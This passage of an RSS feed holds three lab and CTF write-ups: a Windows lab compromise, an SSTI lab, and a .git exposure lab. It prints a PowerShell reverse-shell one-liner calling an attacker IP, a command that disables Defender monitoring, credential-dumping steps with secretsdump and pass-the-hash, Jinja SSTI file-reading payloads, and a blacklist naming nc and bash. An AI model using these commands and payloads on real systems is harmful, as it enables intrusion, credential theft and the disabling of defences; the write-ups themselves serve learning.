src="https://cdn-images-1.medium.com/max/1024/1*JtPIxvT1LwbvuOkv0NeNSg.png" /></figure><p>That open the project of Remo now lets make ffuf to see if have files or directories Senstive or something important to connect the system</p><pre>ffuf -u http://192.168.200.100/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 301,302,307,401,403,405,500</pre><p>after enumerate iam not found and details about that now lets using haravaster tool</p><pre>theHarvester -d 192.168.200.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*D4xlN7zzbCHAflj6UKOJnQ.png" /></figure><p>still not found last chance iam used doorking and github account to get any information github its a repositories platform globaly where the developers want to share there projects with anothers</p><p>yes i founded repo of the project</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKdhXoD9a7ckYxvESeBkeA.png" /></figure><p>lets see the content and see if have any information or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vth2keXNmZ-TkTdL4t0nbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRmVdH2TEIuKTnBcdMCsbg.png" /></figure><p>yes i found hidden file php its have a php source code</p><pre>&lt;?php<br><br>$output = &quot;&quot;;<br><br>if (isset($_POST[&#39;cmd&#39;])) {<br><br>    $cmd = $_POST[&#39;cmd&#39;];<br>    $command = $cmd;<br>    $blacklist = [<br>        &quot;cat&quot;, &quot;less&quot;, &quot;more&quot;,<br>        &quot;flag&quot;, &quot;passwd&quot;,<br>        &quot;whoami&quot;, &quot;id&quot;,<br>        &quot;nc&quot;, &quot;netcat&quot;,<br>        &quot;bash&quot;<br>    ];<br>    $output = shell_exec($cmd);<br>    foreach ($blacklist as $bad) {<br>        if (stripos($command, $bad) !== false) {<br>            die(&quot;Command blocked.&quot;);<br>        }<br>    }<br>}<br>?&gt;</pre><p>ok focused in this code</p><p>okay this code its used for make filtration mitigation of RCE Attack to block the user was he used any of blacklist words and protect from his attack</p><p>lets go to directories</p><pre>http://192.168.200.100/veryverysecurepath/hidden.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6ZpNlnxuCTXnsaPDUAauw.png" /></figure><p>ooh we found this entry lets put the commands like hostname in whitelist 😛</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVcpGKx1KaI3eB83g9H8mw.png" /></figure><p>Nice !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*kkfFgUwLSh_-diyE.gif" /></figure><p>Now we known thats windows machine not linux now lets try make</p><p>iam open <strong>Burpsuite to &gt; Proxy&gt;Send to The Repeater &gt; Send</strong></p><p>PowerShell In Windows</p><pre>powershell -nop -c &quot;$c=New-Object System.Net.Sockets.TCPClient(&#39;192.168.200.3&#39;,5555);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2&gt;&amp;1|Out-String);$o2=$o+&#39;PS &#39;+(pwd).Path+&#39;&gt; &#39;;$by=([text.encoding]::ASCII).GetBytes($o2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()&quot;</pre><p>This Command for Take Revers shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6DkZrUanhXDltnQoq_q3Hg.png" /></figure><p>ok now lets try to go PC cd <strong>C:/Users/Public/Downloads/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/0*bovutfPDJ8KtMG7_.gif" /></figure><p>now we want to prevesc to local machine or authorized a system admin</p><p>whoami /priv</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*O3G_eMHE0q1TnedP.gif" /></figure><p>lets see the Privilage name <strong>SeImpersonatePrivilege</strong> Thats mean the printer can get access and more privilage</p><p>we want to upload PrintSpoofer tool to get access</p><p>iam upload it on localhost and download it directed to path</p><p>C:/Users/Public/Downloads/</p><p>But Why ???</p><p>Because this path access to any user download and upload their files or folders and get their permission full protected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*s_-d9umWOe1f0J3_OKjkWA.png" /></figure><p>now lets run it</p><p>Warning ⚠️ its open in new window of CMD not Powershell</p><p>we will try to save output in text file and try that now</p><pre>.\PtSpoofer.exe -c &quot;cmd /c whoami &gt; test.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*yBkSK41PuI1RWpmo8ayKDw.png" /></figure><p>we can use this command for blocked the firewall</p><pre>.\PtSpoofer.exe -c &quot;powershell Set-MpPreference -DisableRealtimeMonitoring $true&quot;</pre><p>see the result congratulations we found the way to get access in local host on target machine now lets save files</p><p>we want to discussion about sam file and SYSTEM_REG File</p><h3>SAM File (Security Account Manager)</h3><ul><li>Stores local user accounts and passwords (NTLM hashes)</li><li>Located at: C:\Windows\System32\config\SAM</li><li>Contains: Usernames, RIDs (Relative IDs), password hashes</li><li>Locked while Windows is running (can’t copy directly)</li></ul><h3>SYSTEM Registry File</h3><ul><li>Stores the boot key (encryption key for SAM)</li><li>Located at: C:\Windows\System32\config\SYSTEM</li><li>Contains: System configuration and SAM encryption key</li><li>Needed together with SAM to decrypt password hashes</li></ul><h3>Relationship:</h3><p><strong>SAM + SYSTEM = Decryptable passwords</strong></p><ul><li>SAM has encrypted passwords</li><li>SYSTEM has the encryption key</li><li>Together → Mimikatz can extract NTLM hashes</li></ul><p>okay we want two files SAM File and SYSTEM Registry File</p><p>and use mimkatz tool to break the hashes with SYSTEM Registry File</p><p>i draw this in picture</p><pre>┌─────────────┐     ┌─────────────┐     ┌──────────────┐<br>│  SYSTEM     │     │   Mimikatz  │     │     SAM      │<br>│  Registry   │────▶│    Tool     │────▶│    File      │<br>│ (المفتاح)   │     │ (الكسارة)   │     │ (الخزنة)     │<br>└─────────────┘     └─────────────┘     └──────────────┘<br>      │                    │                    │<br>      │ 1. بيقرأ مفتاح     │                    │<br>      │    التشفير         │                    │<br>      └───────────────────▶│                    │<br>                           │ 2. بيروح لـ SAM    │<br>                           │    ويبدأ يفك       │<br>                           └───────────────────▶│<br>                                                │ 3. بيطلع الـ<br>                                                │    NTLM Hashes<br>                                                ▼<br>                                        [كلمات المرور المفكوكة]</pre><p>mimikatz it tool for using know the hashes and information about all of users where sign in or trying to sign in on this machine</p><p>we want to get all_users of system</p><p>iam using</p><pre>net user &gt; users_info3333.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*pLNCi4QkhouXj3zRmP0rww.png" /></figure><p>now we see thats all user sigin on this machine</p><p>okay lets talking about ntds.dit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*H8IsdbrZHEqZl7fQDBDhEw.png" /></figure><p>Do you know this file sir ???? okay i want to tell this treasure file of hackers tell me why ? okay my sir this content of all users in domain not only localy on machine na na all users in domain</p><p>okey lets continue the journey</p><p>i will use this command to get all of hashes users</p><p>now lets upload it in SMB share to get this files on our machine</p><p>using this command</p><pre>impacket-smbserver share &quot;$(pwd)&quot; -smb2support</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-d8qP6f_NcaZUr-TpcC4g.png" /></figure><p>now lets uncrypted ntds using SYSTEM_REG <br>by using scretesdump.py is a script download when you install</p><pre>sudo apt install python3-impacket   # you want install this packet<br>secretsdump.py -ntds /PATH/ntds.dit -system /PATH/SYSTEM_REG LOCAL -outputfile horrorland_hashes</pre><p>you will see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLiIPOk_HjG0WPXPSKCK-w.png" /></figure><p>now lets connect of Administrator using his hash</p><p>and using psexec.py to connect user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u2c2V7z8j6KmWQJp6pIMvw.png" /></figure><h3>Thats End</h3><h3>🎯 Objective:</h3><p>we successfully connect the machine and reached the final traget ✅</p><p>github its usefull website i advice you to use it most important</p><ol><li><strong>PrintSpoofer</strong> — for Exploited Print Spooler service</li><li><strong>Mimikatz</strong> — for Credential extraction</li></ol><p>Process</p><pre>web_svc (Limited) → PrintSpoofer → SYSTEM Privileges</pre><h3>🎯 Conclusion &amp; Recommendations:</h3><h3>For the Attacker (Lessons Learned):</h3><p>✅ <strong>Successful compromise chain:</strong> Initial access → Privilege escalation → Credential dumping → Domain takeover<br>✅ <strong>Multiple persistence methods</strong> available (Golden Tickets, Silver Tickets, backdoors)<br>✅ <strong>Complete domain dominance</strong> achieved through krbtgt hash compromise</p><p>Thank You For reading this report</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/0*u29UcLC0YqAZbpXg.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9be1eafd49a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Template Injection (SSTI) Hackvisor Lab]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/server-side-template-injection-ssti-hackvisor-lab-50d42ec27639?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/50d42ec27639</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackviser]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 19:42:18 GMT</pubDate>
            <atom:updated>2025-10-09T19:42:18.669Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello And Welcome again my friends this dialogue is about how I accessed the flag on <em>/home/secret.txt</em> By injectec SSTI Full Senario</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pibeP3dsGPujMyX1ifSvRg.png" /></figure><p>i used my machine to target the file secret is found on /home</p><p>First I created my invoice to get receipt or information about system I named it time hammer “You can called with item you want it” and confirmed the request in Burb to see the content of I send to server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nzkzAZo1qOwz6sktYblgrw.png" /><figcaption>This want to create it before get flag</figcaption></figure><p>and the request content of locally burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uCwCQwR3enE5kOf4OY37Yg.png" /></figure><p>You see that confirmed successfully, and the reply status of 200</p><p>What is Next Step you can think it ???</p><p>ok lets try SSTI {{7*7}} and see the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Bhv96qHRAENE0IQHPimJQ.png" /></figure><p>ooh that&#39;s awesome I see I want to see then already, that can me thinking about critical Files access passed, shadow, config.log, …. etc</p><p>ok try to test payloads in name param</p><pre>name={{request.__class__.__mro__[1].__subclasses__()[40](&#39;/tagetfile.txt&#39;).read()}}</pre><p>or</p><pre>name={{%20__import__(&#39;os&#39;).popen(&#39;cat {targetfile.txt}&#39;).read()%20}}&amp;address=test&amp;items=test&amp;total=1</pre><p>its make blocked from server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*RvEWGRazyNzCMMHeRqTNdQ.png" /></figure><p>ok lets do the magic payload that passed from server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*QwJagM9ZJz9bTqYeml_bew.gif" /></figure><pre>{{cycler.__init__.__globals__.os.popen(&#39;cat targetfile.txt&#39;).read()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bMioSPcQxGfWT4IVW_jX_g.png" /><figcaption>200 ok</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ppyooVu9hXaCVespIF1Utg.png" /><figcaption>Render mode</figcaption></figure><p>ok I get secret file</p><p>Riddikulus 🌺🌺</p><p>That’s it thanks man 🥷 don&#39;t forget to follow me to see other payloads and solve expert / Associate Labs or Bugs 🥰</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50d42ec27639" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I accessed the/etc/folder from .git Folder misconfiguration]]></title>
            <link>https://medium.com/@yossefmohamedsalah2001/how-i-accessed-the-etc-folder-from-git-folder-misconfiguration-06fd44fc22d8?source=rss-82d4200ead6e------2</link>
            <guid isPermaLink="false">https://medium.com/p/06fd44fc22d8</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Y0s_0x_IBM]]></dc:creator>
            <pubDate>Tue, 30 Sep 2025 15:57:19 GMT</pubDate>
            <atom:updated>2025-09-30T15:57:19.611Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I accessed the/etc/folder from .git Folder misconfiguration</h3><p><strong>وما أطلعكم من علمه إلا على القليل ، فإنه لا يحيط أحد بشيء من علمه إلا بما شاء تبارك وتعالى</strong></p><p>Hi Friends Today i will till you how to accessed passwd from frogetten files</p><p>First i make information gathering nmap to get all ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BWdPLavaJxb0k4LAvQUyA.png" /></figure><p>after that i gained information and get Folder .git using <em>ffuf</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0flXuvdzgw8eJtt0esANQ.png" /></figure><p>i used git dumber to git this files and folders</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YALr6yg5ZKMuR9GAaNKYKw.png" /></figure><p>you can see this files its git and already information about authors and project</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wqY-R4SLfF1DiaDrtCpVw.png" /></figure><p>After i discover it i get this dev Folder</p><p>dev Folder in summary its about hidden Comments or Subset Codes that make testing and Try differenet roads before building in repository</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRkINOsQ8nc4Uc6qEdhM6w.png" /></figure><p>After that, I get an ID for RSA</p><p>It&#39;s useful to me to get a remote SSH connection to the Prey 😉🫡</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kv_X9tcvazUJWJtiv3XG4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*m4qvXQKvGzEGq89wPAdZjQ.gif" /></figure><p>Then i used chmod to change permsition of file and connect the shadow File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZmQweD1of5Un3Vl6sHWwQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06fd44fc22d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>